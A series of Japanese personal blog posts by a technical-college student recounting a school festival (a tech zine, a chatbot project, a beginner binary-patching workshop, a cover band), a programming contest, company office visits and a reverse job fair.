Theories of Pleiades

技術の話とかイベントに行った話とか思ったこととか

高専祭でいろいろやりました

tl;dr

やったこと

  • 技術同人誌を書いて展示
  • hsm_ai対話機能を実装
  • Unity版hsm_aiを開発
  • 一般向けハッキング体験会
  • Roseliaコピーバンドのボーカル


できなかったこと

  • Unity版hsm_ai完成
  • うまく歌うこと


詳しく

部活のこと

今回の高専祭について、hsm_aiをメインで出して同人誌を展示しようという構想は2ヶ月前ぐらいには決まっていました。

が、プロコンで忙しくしていたので実際に高専祭作業に着手できたのは高専祭1.5週間前ぐらいでした(これがいけなかった完全にそう)。
同人誌は印刷所への入稿〆切があったため最優先で取り掛かりました(対話機能は実装と執筆を同時進行してました)。


以下は高専祭準備の大体のスケジュールです。

高専祭10日前:原稿を書くツール選定(今回はRe:VIEWにしました)、執筆開始
高専祭8日前:印刷所を決めて予約(ここで入稿〆切が高専祭5日前に決まる)
高専祭7日前~5日前:徹夜で開発・執筆 なんとか間に合わせて入稿
高専祭4日前~:Unity版hsm_aiの開発・ハッキング体験会準備


徳島県で蓄えたエナジードリンクが完全に心の支えでした。毎日気付いたら朝5時。死んだ。


そうこうしてできた同人誌がこちらになります。

hsm-hx.booth.pm

頑張りました。物理本は送料分だけ、PDF版は無料で出品しているのでよかったらどうぞ。投げ銭もお待ちしています)


技術同人誌なんか書いたのはこれが人生で初めてだったのですが、この本のために宇部高専祭に来てくれた人がいたり同級生が本を見て「俺もやってみようかな」と言ってくれたりとやりがいというか、あ~やってよかったな~って感じがしました。 部活ブースで展示もしていて、結構いろいろな人が本に興味を持って手に取ってくれていました。うれしいな~


ブースで遊んでいたら何故かサインを求められてしまい、自分の本やら他人のモバイルバッテリーやらiPadやらにサインを書きました。売れっ子同人作家です。


高専祭でわらしべ長者企画をして歩いていた人がmicroUSB Type-Bを持っていてめちゃくちゃ欲しかったのでhsm_ai本と交換してもらったりもしました。


Unity版hsm_aiについては4日間頑張ったのですが完成しませんでした。
というのが、Ruby+MongoDBで動いているhsm_ai本体とUnityを連携させるところでかなり苦しみました(なぜなら私はWindowsが使えないので)。

普段開発に使っているArch機にはUnityで3Dモデルを動かせるほどのスペックがなく、Windows上でhsm_aiを動かせる環境を作りUnityC#から出力を取ろうかと思っていたのですが、natto gemが64bitWindowsでうまく動かなかったり、PowerShellUTF-8に対応していないなどでぼく自身がやる気を喪失していました。

Windows上で直接動かして出力を取るのは厳しいなと判断したぼくの取った次の手はDocker上でhsm_aiを動かしTCPソケット通信で出力を読む…というものだったのですが、コンテナ側にMongoDBのデータを送るのにホスト上のディレクトリをマウントする方法に迷ってしまい断念。

最終的にはVirtualBoxに普段使っているのと同じ環境を構築しTCPソケット通信でホストから出力を読めるようにはしたもののあと一歩のところで高専祭当日を迎えてしまいました。
当日ライブコーディングでもしようと思ったのですが、C#がわからないぼくには厳しいものがありました(展示ブースでインターネットに接続することができず、調べながら開発することができなかったため)。

正直本当に悔しいのですが、そもそも展示用としてhsm_aiに過去の私の10万ものツイートを読ませていたために文章生成が無限に終わらないバグがありそもそもの時間不足かなと感じます。悔しい。
次はコンフェスで完璧なものを展示する予定です。


ハッキング体験会ですが、ぼくが完全に1回目の体験会を失念しており(ごめんなさい)2回目のみの開催となりました。

ぼくが急いで準備しても作問できる分野かつ中学生が来ても感覚的に楽しんでもらえるテーマということで、ReversingとBinaryの複合問題(どちらかというとBinary色が強いかも)としてゲームのガチャシステムを題材にしたプログラムを作り、その排出を操作するというバイナリの書き換えをしてもらいました。


ハッキング体験会を受けるためだけにブースに残ってくれていた中学生がいたのでウオーーーー!!!!となりました。うれしいことですね。他にも他高専から来てくれた後輩たちやなんと部活のOBの先輩までもが参加してくれました。楽しかったとかプログラミングの勉強してみようかなという声も聞こえてきたので満足です。

これは反省するhsm_hxです。


また、講習に使ったサンプルプログラムやレジュメなどは以下に公開しています。

github.com


部活ブースでは例年通りComputer Club Cup(CCC)の第4回大会が行われたり、お土産に脱力探偵シリーズのデフォルメ缶バッジが配られたりしていました。


それ以外にも高専祭のために必死になってホラーゲームを作って展示している後輩がいたり、ぼくの担当したハッキング以外にもDTMやモバイルアプリ開発の体験会が開かれていてなかなかの盛況を見せていました。部長として嬉しい限りです。高専祭リーダーを務めてくれた後輩くんには本当に感謝しています。何も手伝えなくてごめんね。


バンドのこと

かなり早いうち(夏休みに入る前、7月頃かな?)から「Roseliaコピーバンドをするので歌ってほしい」と後輩から話を持ち掛けられていました。歌うのは好きだし目立つのも好きなので二つ返事で「いいよー」と返した気がします。


企画当初のセットリストは

  • ONENESS
  • LOUDER
  • Legendary
  • Determination Symphony

とかそんな感じだったはずなんですが、楽譜がないやら合わせが難しいやらで最終的に演奏した曲は

  • R
  • Determination Symphony
  • LOUDER

の3曲です。途中陽だまりロードナイトだか軌跡だかを歌ってほしいとも言われていたんですが最終的には上の通りです。

…というのが決まったのが高専祭2週間前(プロコン移動日)でした。あれっ?


ぼくは完全にONENESSとLegendaryを歌う気でいたのでそこ2つは完璧に音取りとか歌詞とか歌い方とか覚えてたんですがワッハッハ。世界はそう上手くいきません。

それどころか高専祭1週間前になってメンバー6人のうち3人が辞退していたことが発覚。あれっ?


そんな感じでメンバーの作った打ち込み音源に合わせているメンバーだけで演奏するという話になったのですが、そもそも誰も直前に決まった曲目であるRの練習が間に合ってないとか、生演奏じゃないからLOUDERのラスサビの入りが合わないとか、だいぶめちゃくちゃな状態でした。誰が悪いとかではなくプロジェクト崩壊。ぼくの関わったプロジェクトは全て例外なく崩壊します(何故ならぼくが疫病神なので)。

前日のリハーサルは20分押しということでぼくが出席できず、当日はぼくがどこから入っていいのかわからず、また前のバンドの演奏が終わったにも関わらずリーダーがどこかに失踪(ちゃんと帰ってきました)、とまあだいぶ散々だったのですが(ぼくも歌詞が飛んだし)、来てくれた知り合いたちが必死に盛り上げてくれたのでぼくも楽しかったです。ステージの上でかっこいい衣装を着て歌うのは楽しいですね。

来てくれていた遠方のフォロワーは「キーボードやるのに」「ベースやるのに」など言っていたので、来年は宇部高専祭のステージで日本全国の高専バンドマンを集めてライブがしたいです(えっ?)


後輩がいい感じに撮ってくれていました。かっこいい…よくない? ちなみにぼくの最推しの法学の先生が観に来てくれていたらしくてドキドキしちゃいました。これが恋なんですね。


それ以外のこと

今年の高専祭では本当に全国各地の高専から知り合いが来てくれました!うれしかったです。コンピュータ部ブースがオフ会会場と化していました(ごめんなさい)。

上の写真は山口県の電車内でスマホケースにサインを求められる仙台高専生です。


せっかく遠いところから山口にお越しになってくれたので瓦そばをご馳走したり推しの足湯に連行したりしました。


高専祭ではいろんなコスプレや女装を観測できました。以下はその一例です。


高専祭4年目にして初めて吸部のカリカリを食べました。めちゃくちゃおいしかったので来年は無限に食べたいです。


高専祭が終わったあとは各地の高専生を引き連れて近場のゲームセンターに遊びに行きました。道中の夕焼けがすごく綺麗でエモーショナルでした。


ゲームセンターでは山口オタクオフ会恒例のエアホッケー大会をやりました。ぼくは4人中3位でした。弱いです。


2日目はぼくは高専祭には行かずレノファ山口のホーム最終戦を観に行っていました。実に2ヶ月振りの現地観戦であった。

残念ながら勝利はなりませんでしたが、サッカーが終わったときちょうど高専祭に来ていた知り合いが近場のゲームセンターに来ていたので突撃しました。

これは11月半ばサッカー帰りの服装でDDRをするhsm_hxです。


しばらくゲーセンで遊んだあと、晩飯に誘われてしまったので食べに行ってきました。今日の夜ごはんは炉舎のハンバーグ!ムシャムシャおいし~(^。^)

所持金500円にも満たない財布しか持っていなかったため不服にも後輩に奢られるをしてしまいました。借りは必ず返します(?)

このあと電車を乗り逃したりしながら40,50分ぐらい湯田温泉をうろうろしながら喋って22時前頃に解散しました。もちろん半袖ユニフォームです。あんまり寒くなかったのでよかったです。


…という感じでなかなかに充実した高専祭でした!来年はおそらく最後の高専祭になるので、もっとでかいことやらかしたいな~という気持ちでいます。何をしてやろうか考えてるのでまた懲りずに宇部高専祭に遊びに来てほしいと思います。

来てくれたフォロワー人々、部活ブースを支えてくれた部員のみんな、ありがとうございました!多分次のブログ更新は部活改革をすることになった話でも書きます。読んでくれると嬉しいです。

#procon29 に参加しました

※この記事にはhsm_hxの呪詛と自責が非常に多く含まれています。


表題の通り、第29回高専プロコンに参加してきました。 高専プロコンは初出場2度目の参加です。

今年は競技部門に参加して、結果は予選敗退となりました。参加までの話と本大会の参加記とを兼ねて記事に書き残します。


プロコン前日まで

去年のプロコンに見学で参加した際、自分と同じように高専で勉強している人たちの作品を見て衝撃を受け、来年は必ず作品を出す側で参加してやると心に決めていました。

本来であればぼく自身は課題・自由部門向きのスキルセットをしているはずなのでそのどちらかに出たいと思っていたのですが、部内で必ず出場しなければいけない競技部門の開発人員が足りていなかったため穴埋めとして競技部門に参加することになりました(ここが間違いだったことは明白)。

今年の宇部高専競技部門チームはなんと13人の大所帯で、5年生1人4年生2人3年生1人1年生9人からなります(ここが間違いだったことも明白)。

唯一のプロコン経験者として5年生の先輩がいたのですが、編入試験で忙しいためプロコンの活動に参加されることはほとんどなく、プロコン未経験の4年陣2人で開発を進めることになりました。


例年の弊部プロコンチームはソースコードをLINEか何かで受け渡ししていたらしく、Gitが使われたことがなかった(それどころか弊部にはいつのものかわからない課題部門か何かに提出したであろうソースコードが印刷された7cmぐらいの紙の束が残っています)ので、さすがにそれはまずいだろうと思ったぼくはとりあえず6月のうちに1年生向けにGitやGitLabの使い方を解説した資料を作り、また当初は開発にも少しは関わってもらいたいと思っていたためC++の講習資料(これはAPG4bをほぼそのまま投げただけでしたが)を作って1年生に投げつけました(ここも間違いだったことは明白)。

各自の進捗はTrelloで可視化して不明な点があればぼくにメンションするように、と伝えて期限を切っている間にぼくは部長仕事なんかをしていました(ここが間違いだったことも明白)。


そして現在のTrelloの画面がこちらになります。

f:id:mwc922_hsm:20181031165436p:plain

あれっ?????????????????????これはなに?





さて、弊部で真面目に開発を始めることができたのは8月も中旬に差し掛かるころでした。
このときにやっとぼくがGUI担当、もう片方がソルバ担当という役割分担が為され、雑にGUIを書き始めます。Tkinterわからないになりました。素直にJSに魂を売ってElectronを採用するべきでした。

という感じで8月が終わるまでにはGUIがほぼ完成していた―――が、ソルバ担当は夏休み中インターンに行っており、ソルバとGUIの連携が取れたのは10月、学校が始まってからでした(あれ?)


10月初週に10人の力で無限に対戦を行いソルバの動作方針を決定、それからソルバ担当が死ぬ気で開発、ソルバが完成してからぼくがGUIとソルバの連携を取る、完成したのはプロコン5日前とかそれぐらいだったかと思います。地獄だった。


更にここまで実践練習も0、ぼくは司令塔だったので卒研中にひたすら人力でソルバと戦って操作には慣れていましたが、エージェント2人が意思表示方法を確認したのはプロコン2日前。大丈夫かこのチーム(大丈夫ではない)。

実際実践練習をしようにもチームメンバーにはGUIの使い方を教えても一瞬で忘れてしまうしぼくがLinuxしか使わないのでWindowsPythonが導入できなくてGUI動かないからぼくの個人機しか使い物にならないし他にWindowsがわかる人間もいないしで完全に崩壊 これは本当に高専プログラミングコンテスト出場チームですか?

前日にホテルの中で小さいトランプとカードを使って意思表示の練習をしましたがエージェント片方完全に何も意味がわかっていなかったなどがあり炎上を確信しました。死ぬかもなと思った(これは完全に正解)。


プロコン本大会

競技部門

直前まで緊張しすぎて手足がめちゃくちゃに震えてました。試合中も震えてました。

予行演習中にGUIのバグを踏んでしまい、死ぬ気で修正しました(バグの原因は一瞬で摘めたのでよかったです)。そのかわりに昼食が犠牲になったのと、ホールを出てから昼食を摂ろうと鞄を持ってホールを駆け上がったら階段に躓いて派手に転けました。初戦が痛くて辛かったです。


肝心の対戦についてですが、1ターン20秒足りねえよバカ!!!!!!!!というお気持ちになりました。

自分と敵の行動をGUIに入力してソルバを走らせトランプを探してエージェントに指示、を繰り返す40ターン……………などというものは存在しなくて、途中で実際の盤面とGUI上の盤面に食い違いが生じたり(入力ミスや伝達ミス)、エージェントがこちらの指示を見ていない、人間に隠れて相手の行動がそもそも目視で確認できない、などがありました(悲しい)。


結局ソルバを使えたのは最初の10ターンぐらいで、残りは地頭で戦っていました。これが高専プロコン人力部門。

初戦で完全に心が折れてしまって半泣きになって「ごめん盤面がなんか合わなくて……………脳味噌がバグった………………ごめんなさい………………………」としていました。
ぼくの精神がイカれはじめていたのを見かねたチームメンバーにはめちゃくちゃ諭されました。

初戦の相手の香川高松さんが試合後挨拶に来てくれていなければ無限謝罪botと化していた自信があります。本当にありがとうございました。


予選は3戦して2勝1敗、ブロックには2勝1敗が呉、豊田、宇部と3チーム並んだため総ポイント数で勝敗が決まりましたが残念ながら宇部は3位だったらしいです(人力で突破してもつらいだけでしたが)。


2日目はGUIを改良して1日目に使わなかった機能を消したりできる限り動作を単純化して臨みました。 さらにトランプもどうせ1~8が出せればよかったのでそれなら手でいいよねとなり指で数字を指示する方法に変更することにしました。

ただ、敗者復活戦で勝ち上がってしまうと本当に課題自由や企業ブースを見ることができないため、「もうやだ勝ちたくないもうやめようよぉ……」とずっと言っていた気がします。知り合いの私物のトランプを見て身震いをするほどにはトランプにトラウマを植え付けられました。


敗者復活戦は波乱の連続で、対戦表が間違っており確認のため40分ほど余計な時間が起きたり、ぼくたちの出場した敗者復活戦第4回戦ではそもそも対戦する盤面が対称になっておらず不利なチームがあったため再試合が起きたりとかなり時間が押すことになりました。

このせいで決勝のターン数が半分に削れたりぼくの課題自由散策時間が大幅に消費されたのでとても悲しい気持ちになっています。


競技部門を終えてみての感想ですが、GUIはもっと作り込めたはずでした。作り込まなかった私が全面的に悪いと思っています。正直人の影になって移動が見えないとかは想定外ではあったのですが、それも実際に練習試合をしておけばわかったことです。

競技自体ももう少し良くできたのでは、という気持ちはありますが、自分たちにも問題があった以上そこを修正できていればちゃんとプログラムで勝負できたのに…という後悔の念が強いのは確かです。せっかく頑張ってソルバ書いてくれたのにちゃんと使えなくてごめんなさい。本当にごめんなさい。ぼくのマネジメント能力がもう少し高ければ、あるいは存在するそれを使いこなせていれば、もう少し良い結果になったかもしれません。

ただ、その練習試合をしたりという環境が弊部になかったのもまた事実です。前述の通りGUIを扱える人間がいなかったり、チーム内にWindowsで環境構築ができる人間がいないのにLinux機もなかったり、明らかに高専プロコンに出るための体制が整っていなかったことは今後の部活としての反省点だと思います。

今後もコンピュータ部がプロコンに出ていくという方針を続けるのであれば出場する体制が整っていないことは必ず改善すべきです。後輩たちよろしくな!ぼくはもう知りません。


課題・自由部門

全然回れなかったよ!!!!!!!!!!!!!!!!!!!!!!(全ギレ)

課題は津山、明石、一関、豊田の作品を、自由は仙台広瀬と鈴鹿の作品を見てきました。どれもめっちゃ完成度高くてよかったです!!!!!


どこもアイデアの着想点であったり作品のコンセプトなど、「ああ~~~そんな発想もあったのかなるほどな~~~なるほど~~~なるほどな~~~」という気持ちにさせられました。ブースでめちゃくちゃはしゃいでいた自信があります。

個人的には一関の課題と鈴鹿の自由が特に好きでした。あと豊田の発想が楽しくて気に入ってます。

一関の課題部門の作品のコンセプトが「地元の人に地域の良いところを知ってもらう」ということで、地元大好きなぼくにめちゃくちゃ刺さりました。ぼくの中では最優秀賞です。本当に良かった。プロダクトそのものも凝っててよかった。タッチディスプレイうちもほしい。

鈴鹿の自由部門の作品は起業家甲子園に行くらしいですが、これもめちゃくちゃ良かったです。勉強会のプレゼンシステムということで、身近なところから発想を取ってこれるところがなんというか普段からいろいろなことを考えながら生きてるんだろうなぁというか、何と言い表わせばいいのかわからないですが、ああ~すごいなあと思いました。

確かに勉強会行った帰りはしばらくハッシュタグを眺めて参加した感想のブログが出ないか監視していたり、運営側としてもアーカイブを取るためにカメラやら何やらを準備して~と手間になるので、そういう面倒なものをwebアプリで一元管理してくれるの本当に良い、最高じゃんといった気持ちです。正直感動しました。


その他

今回も参加者との交流が最高に最高でした!!!!!!!!!!!!!!!!!!!!

競技で当たったチームにも結構知り合いがいて挨拶できたり、知り合いの作品ブースに行っては「ああ~みんな頑張ってるんだなぼくも頑張らないとな~」となったり、一緒にごはんを食べながら技術の話をしたり、ゲームセンターでお疲れ様会をしたり、普段の学校生活では絶対にできない経験をたくさんしてきました。
みんなで見る競技決勝、めちゃくちゃエモかったし80ターンで見たかったなあという気持ちです。


普通に徳島駅前を歩いていても知り合いに出会ったり、道端で迷っている知り合いを駅まで連れて帰ったり、たまたま会った知り合いにラーメンの替え玉無料券を譲ったり、ホテルのロビーで知らない人にぼくの話をされていたり、高専生だらけの徳島駅前マジで最高に楽しかったです。

年に1度しか受けられない貴重な刺激を受けることができました。


まとめ

全体的にはプロコン最高でした!!!!!!!また絶対に来年も行きます。多分そのためにぼくは高専に籍を置いているんだと思います。

詳しくはまた別で書こうと思いますが、ぼくは今年度いっぱいでコンピュータ部を辞めることに決めました。なので、次は学内公募でコンピュータ部のチームと戦って勝って堂々と宮崎に行くつもりです。

来年が楽しみです。絶対にガチプロになって宮崎行ってやるからな!!!!!!!!!!!待ってろ宮崎!!!!!!!!!!!!!!!!!人生最後の高専プロコン絶対に表彰台に立ちます!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

オフィス見学に行った話

1週間振りの東京

今年は京都に行こうとしたら西日本豪雨、大阪経由で仙台に行こうとしたら台風で関空沈没、逆求人で東京に行くと傘が差せない暴風、そして今週東京に行こうとしたら台風25号と天気に恵まれない年になるかと思いきやギリギリ晴れました。


Q . なんで東京来てるの?

A .

逆求人でご縁がありましてリブセンスさんに「交通費支給するのでオフィス見学来ませんか」とお誘いをいただきました。本当にありがとうございます。


リブセンスさんのオフィスにお邪魔した

お邪魔してまいりました!!!!!!!!!!!!!!

f:id:mwc922_hsm:20181002224550j:plain
イケイケTOKYOオフィス


自分はインターンにも行っていないので、これがIT系企業のオフィスに入った初めての経験となりました。

玄関(?)から既にイケイケIT企業の雰囲気が漂っていてヤバいです。萎縮しました。


11時~14時でオフィス見学・ランチ・面談の予定を組んでいただきました。

逆求人のときは話が弾んで会社説明はかなり駆け足だったのでその補足説明をいただいたあと、12時頃までオフィスの中を見学させていただきました。


会社説明では主にエンジニアの働き方についてお話を伺いました。
ぼくもオフィスでまぐろを捌いたり回転寿司したりしたいなあという気持ちになりました(これは罠で、真面目なところでも面白いなあと感じることが多かったです。毎日2,3件社内勉強会が行われてるとかすごいなあとなりました。モチベーションというか、向上心の高さですね)。


オフィスの中も見学させていただきましたが、営業さんとエンジニアさんが近い距離で仕事をしているのがいいなあという感じでした。プロジェクトの連携がすごく密に取れていそう。

あと、至る所に葉っぱが生えていてびっくりしました(この場合の葉っぱとはデスクを覆う葉っぱ型のテントを指す)。
葉っぱを被ると集中力が湧くタイプの社員さんがいるらしいです。

エンジニアはフレックス制を採用しているとのことで、午前中の訪問だったのがあってか空席がちらほら見受けられたのも印象的でした。
お昼から出社しても許されるの、朝弱い人種としては助かります。


オフィスの机は完全に自由に使って良いらしく、個性が出ているなあと思いながら見学していました。
机にGopherくんのグッズが大量に並んでいる光景は圧巻(?)でしたね。

f:id:mwc922_hsm:20181002231214j:plain

リブセンスさんのプロダクトである転職DRAFTのステッカーとエンジニアさんからお土産にGopherくんのステッカーを貰いました。インパクトがある。


他にも自作キーボードが熱いらしく、自作キーボード部(?)の方々は机の上に半田ごてが置いてあったりしました。高級な半田ごてを見て何というか軽くカルチャーショックを受けたりしました。

オフィスの入り口に本棚があったり、エンジニアさんの机にも私物と思われる本がたくさん積んであったりして、やっていく雰囲気のあるオフィスだなあという感じがしました。
オフィスって机が並んでてお硬いイメージだったんですが、割と穏やかな空気が流れていた気がします。



その後は中途で入社されたエンジニアの方々と駅ビルのおしゃれランチに連れて行っていただきました。パスタとラザニアめっちゃ美味しかったです。
逆求人のときに引き続きまたもご馳走していただき本当にありがたいというか頭が上がりません。


中途採用で入られた方々だったので、なんとなくイメージが湧かなかったり緊張もありで戸惑っていたところもあるのですが、お話を伺っているだけでもwebエンジニアのキャリアについていろいろと知ることができました。

「この界隈は業界全体で1つの会社みたいな感じ、転職は部署が変わるみたいなもの」という風に仰っていたのはなるほどなあ~~~という感じでしたね。確かに周りの先輩見てるとそんな感じします。

Twitterなんか見てると結構IT系は転職が当たり前の選択肢のように存在していて、実際飛行機の中で書いていた聞いてみたいことリストの中にも「転職を考えたことはあるか」などがあったところだったので実際に転職された方のトークを聞けたのはめっちゃ貴重でした。


正直食べるのに必死で聞きに回っていたところがあったのですが、それだけでも本当に得るものが多かったです。
結構会社選びをする上で考えることとか、今までの会社と比べてリブセンスさんがどうなのかとか踏み入った話を聞くことができてめちゃめちゃ参考になりました。緊張とか焦り?みたいなのがあって言葉が出てこずまともにお礼を言えなかったのが本当に申し訳ないです。



ランチの後は新卒3年目の社員さんお二人と面談をさせていただきました。
若い方だったので比較的フランクにお話することができ、喋り方なんかも勉強会で知り合うような方たちと同じような雰囲気で親しみやすかったりしました。

ただ、話しやすいなあとなった一番の理由はやっぱり

これですかね(真顔)。


まさか面談相手のエンジニアさんが自分と話す前までhsm_ai見て笑ってたとか思わないですが…(困惑)

とは言え、「アウトプットするのは大切だから良いこと」「機械学習の入門にマルコフ連鎖しようっていう発想が面白い」など褒めていただけたのでちょっと嬉しかったです。


お二人共入社のきっかけは逆求人だったとのことで、なるほど~~~となりました。
学部生の頃から受託でお仕事をされていたり開発したアプリをリリースされていたりとやっぱり強いなあ~と思いましたね。ぼくも精進したいです。


「就職する上で自分のスキルに自信がなくて」という話をしたら「ツールの引き出しさえあれば詳しいことは勉強しながら開発すればいいし、虚勢でも自信持って取り組んでみると良いよ(要約)」みたいなことを言っていただけて、あっやっぱり勉強しながらとかでも大丈夫なんだ~と安心したりしました。

やっぱり引き出しの多さは大切なんだなあとどこに行っても思わされます。
そういう意味で言うとぼくは何にでも興味が持てるタイプなのでエンジニア適性があるかもしれません(?)。

それに関連して、「エンジニアリングの分野においては『やってみてもできないこと』はほとんどない」との力強いお言葉をいただくなどしました。
確かに周り見てるとそうなのかもしれないなあと思いますし、問題はそこで「やってみよう」と思えるかどうかなのかなと思ったりしました。なるほどなあ。



他にも訪問を通じて面白いお話をたくさん伺うことができましたが、全て書いているとキリがないのでこの辺までにしておきます。

オフィスを見学させていただいて何より思ったのは、すごく明るくて前向きな空気の中で日々お仕事をされているんだな~ということですかね。
人が育つ環境、こういうものなんだな…みたいな気分になりました。

たくさんのエンジニアさんとお話させていただいて、やっぱりどの方も上昇志向があるというか、分野は違えど技術が好きで好きなことを仕事にしているんだという空気を感じました。

そういう人たちの中で働けるの、絶対めちゃくちゃ楽しいよなあと思います。いいなあ。


ということで、オフィスの写真をパシャパシャと撮らせていただいて解散となりました。
めっちゃめちゃ貴重な経験をさせていただいたと思います。これで交通費まで出していただくの本当に忍びないです。ありがとうございます。頭が上がりません。



Yahoo!さんのオフィスにお邪魔した

次はYahoo!さんのオフィスにお邪魔しました。

なんかめっちゃおしゃれなビルの中にオフィスがあって、しかも受付が18Fとかでもう開幕からわけわからんになってました。18Fってなに?地上何m?


こちらも逆求人でご縁があり、「東京に来ることがあればぜひオフィス見学に」と言っていただいておりました。
リブセンスさんの方の企業訪問が決まったタイミングでアポを取ったので1週間前ぐらいでしたかね、本当に突然のお願いだったにも関わらず快く受け入れていただきありがたい限りです。


こちらは1時間ほどの見学で、前半は部外者立ち入りOKの17/18Fをぐるっと案内していただきました。

18Fは面談・会議スペースになっており、採用の面接であったり外部の方との打ち合わせであったりというのに使われているそうです。


フロア全体がテーマパーク(という例えが適切かわかりませんが)のようになっており、緑を意識したスペースがあったり図書館をイメージしたスペースであったり、お店のようなデザインのスペースがあったり、創造的な空間…という感じでした。

基本的に床はコンクリートになっていて、「未完成」のイメージなんだそうです。ここから自分たちが未来を作っていくんだぞという感じでしょうか。


会議スペースは壁がホワイトボードになっていて、壁一面を広々とミーティングに使えるようになっています。自由な感じでいいなあ。



17Fはコワーキングスペース『LODGE』のあるフロアになります。
誰でも無料で使うことができて、勉強会などにも使われています。

案内していただいた人事の方曰く「Yahoo!のオフィスの縮図」だそうで、長机が並んでいるスペースもあればソファのあるスペースもあり、周りに囲いのある集中できそうなスペースもあり、靴を脱いでビーズクッションでくつろぎながら作業ができるスペース?などもありました。


また、社員食堂とは別にコワーキングスペース内にも食堂やパン屋さんがあり、ウェルカムドリンクということでグレープフルーツジュースをいただきました。おいしかった~

パンもオフィスの中で焼いているらしく、さすが大企業…と言わざるを得ない感じでした。オフィスの中にパン屋…



後半の面談のお時間では逆求人のときには時間が足りず伺えなかった部分の企業紹介をしていただきました。
ぼくが聞きたかったというのもあり、主にエンジニアの働き方、福利厚生(というか学習環境)について詳しくお伺いしました。


この辺も「さすが大企業…」といったものが多くて、福利厚生はめちゃくちゃに手厚いなと思いました。
毎月1万円も学習補助が出るのいやヤバ…というか、それも事後報告で良いから本屋で衝動買いしても大丈夫、気を失ってるうちに金が消えてカンファレンスの参加権が生えててもレンタルサーバーの契約が生えてても大丈夫とかもうヤバいなという感じです。

あとはリモートワークとかフレックス制がすごく有用に使われてる感じがしました。フレックス制なのを生かしてLODGEで副業として携わっているベンチャーだったりスタートアップの打ち合わせをしている社員がいるとか、長野のサテライトオフィスの草原でMacBookを広げている写真には驚かされました。


また、ほぼ毎日LT会や輪読会が行われているだとか、ビルにあるカンファレンスセンターで社外向けの大きなカンファレンスも定期的に開かれているだとか、勉強会も活発な印象を受けました。

勉強会で使われた資料は積極的に公開されていたり、社内向けには各種カンファレンスの動画アーカイブが保存されていたりと、学習環境としてはめちゃくちゃ最強という感じがします。

LODGEに集まって徹夜で海外のトップカンファレンスのライブ中継を見る会なんかも年に数回行われているらしく、うおーーめっちゃ楽しそうヤバいとなりました。絶対楽しい…


あと特筆すべき点はオフィスがフリーアドレス制というところですかね。

リブセンスさんではデスクが自分好みにできる良さがありましたが、Yahoo!さんのフリーアドレスデスクでは社内のプロプログラマに教えを請いに行ったり、毎日違う人と仕事をする新鮮さが味わえたりというのは魅力的です。


個人的にカルチャーショックというか、衝撃的だったのは、オフィス内に病院とサーティワンがあることです…(?????)

こればかりは本当にパン屋さんもそうですが大企業ならではですよね。

社食も朝食は無料、昼食はTポイント30%還元なんだとか、なんというか桁が違う。

福利厚生で言うと他にも仮眠室があったり、500円で40分マッサージが受けられる(!!??!???!?)とかがあるらしいです。充実しすぎてるし暮らせそう…。



Yahoo!さんについてもまだいろいろ伺ったことがあるのですがこの程度にしておきます。

急なオフィス訪問だったのに関わらず1時間も案内や会社説明などしていただいて本当に有難かったです。
めちゃくちゃ良い環境の中でスキルアップができるの本当に魅力的です。

案内いただき本当にありがとうございました、次来るときはLODGEで作業とかしたいです。もしかしたら選考面接のときとかになるかもしれないけど。



日帰り東京旅、終幕―――

ということで、予定していた2社のオフィス見学が終わり、最後に東京駅の丸善本店で計画的衝動買いをして東京を去りました。

何気自分でオライリー本買うのは初めてでした。家に研究室で借りてるやつとか結構あるから持ってるつもりでいたけど初めてっぽい。


帰りの飛行機の中では学校で借りていた暗号技術入門の5~8章辺りを読んでいました。ctf4bのときに理解しきれなかったmod周りの話になんとなくわかりを生やせたので良い感じです。



あまりに忙しい弾丸旅行(そもそも旅行って言わなくない?)でしたが、山口に居ては絶対にできない体験をたくさんさせていただきました。

交通費を負担してまで地方の一学生をオフィス見学に呼び寄せてくださったリブセンスさん、急なお願いにも関わらず見学に応じてくださったYahoo!さん、本当にありがとうございました!

逆求人フェスティバルに参加した話

ここまでの話

昨日から就活で東京に来ています。昨日は1社面談があったのみで、観光ばっかりしてました。

mwc922-hsm.hatenablog.com


今日やったこと

ジースタイラスさんの逆求人フェスティバルというイベントに参加してきました。

www.studenthunting.com

詳しいことについてはホームページを参照してもらうと良いかと思いますが、ざっくり言うと合同企業説明会(行ったことないけど)の逆バージョンです。


今回はジースタイラスさんからわざわざメールでお誘いをいただき、台風で仙台旅行の予定が消し飛んだ腹いせに交通費が出てしかも早めに就活始められるなら…ということで参加させていただきました。

ちなみに、参加者で一番遠方からの参加になりました。


逆求人参加にあたって

逆求人フェスティバル参加にあたって、逆求人ナビ(webサービス)のプロフィール埋めと本番で使用する自己紹介(5分程度)用のプレゼンスライド作りを事前準備として行いました。

どちらも担当アドバイザーとしてついていただいたしおりさん(@tanutam618)にたくさんアドバイスをしていただきました。企業の方はこのプロフィールを見てどの学生と話したいかを事前に決めてくるため、プロフィールがしっかりしていればいるほど有利(?)になります。


逆求人に参加するにあたって、担当のアドバイザーさんと電話やSkypeで当日の流れについてであったりプロフィールの効果的な埋め方であったりというものを指南していただくことになります。

ぼくの場合、このときに今までどんなプロダクトを作ってきたか、今作っているプロダクトがあるか、今後エンジニアとしてどういうキャリアイメージをしているか…などを聞かれました。片っ端から今までやってきたことを話していると、「じゃあこういうことが得意なんだね」「こういう方向に活かしていけるよね」といった風に自分の気付かなかったアピールポイントを教えていただけて、「あ〜なるほどこれがプロ」という気分になりました。ありがたいです。


ちなみに、以下が使用したスライドになります。


名刺交換〜昼食

今回の逆求人フェスティバルは10:30集合で、受付を済ませた人から指定された机に座ります。学生1人に対して企業の方向けの席が2つ設けられており、本番では1対1~2で面談をすることになります。


余談ですが、開場直後に受付を済ませてなんとなく周りを見ていると参加者の半数以上が大学院生なんですね。
それどころか東大院生だけでも5人ほどいて、「逆求人に来る東大院生ってもうめちゃくちゃガチプロやん勝ち目ないけど…」とか開始前から卑屈になりかけたりをしていました。


イベントの流れとしてははじめに当日の流れについて簡単にガイダンスがあり、その後名刺交換の時間が設けられます。
名刺交換は、学生が各自の席で待機し企業の方々は気になった学生の机に向かい名刺を渡す、という流れで行われます。…が、初めの3,4分ぐらい私の席に来られる方がおらず正直めちゃくちゃ焦ってました。


最終的にはかなりいろいろな企業の方と名刺を交換することができたのですが、名刺交換の時点で軽く「どんなことやってるの」「今日はどういう目的で来たの」など聞かれるので答えたりします。この時点ではまだ企業側も面談希望を出す学生を決定していないので、このときの印象も大切になってきます。


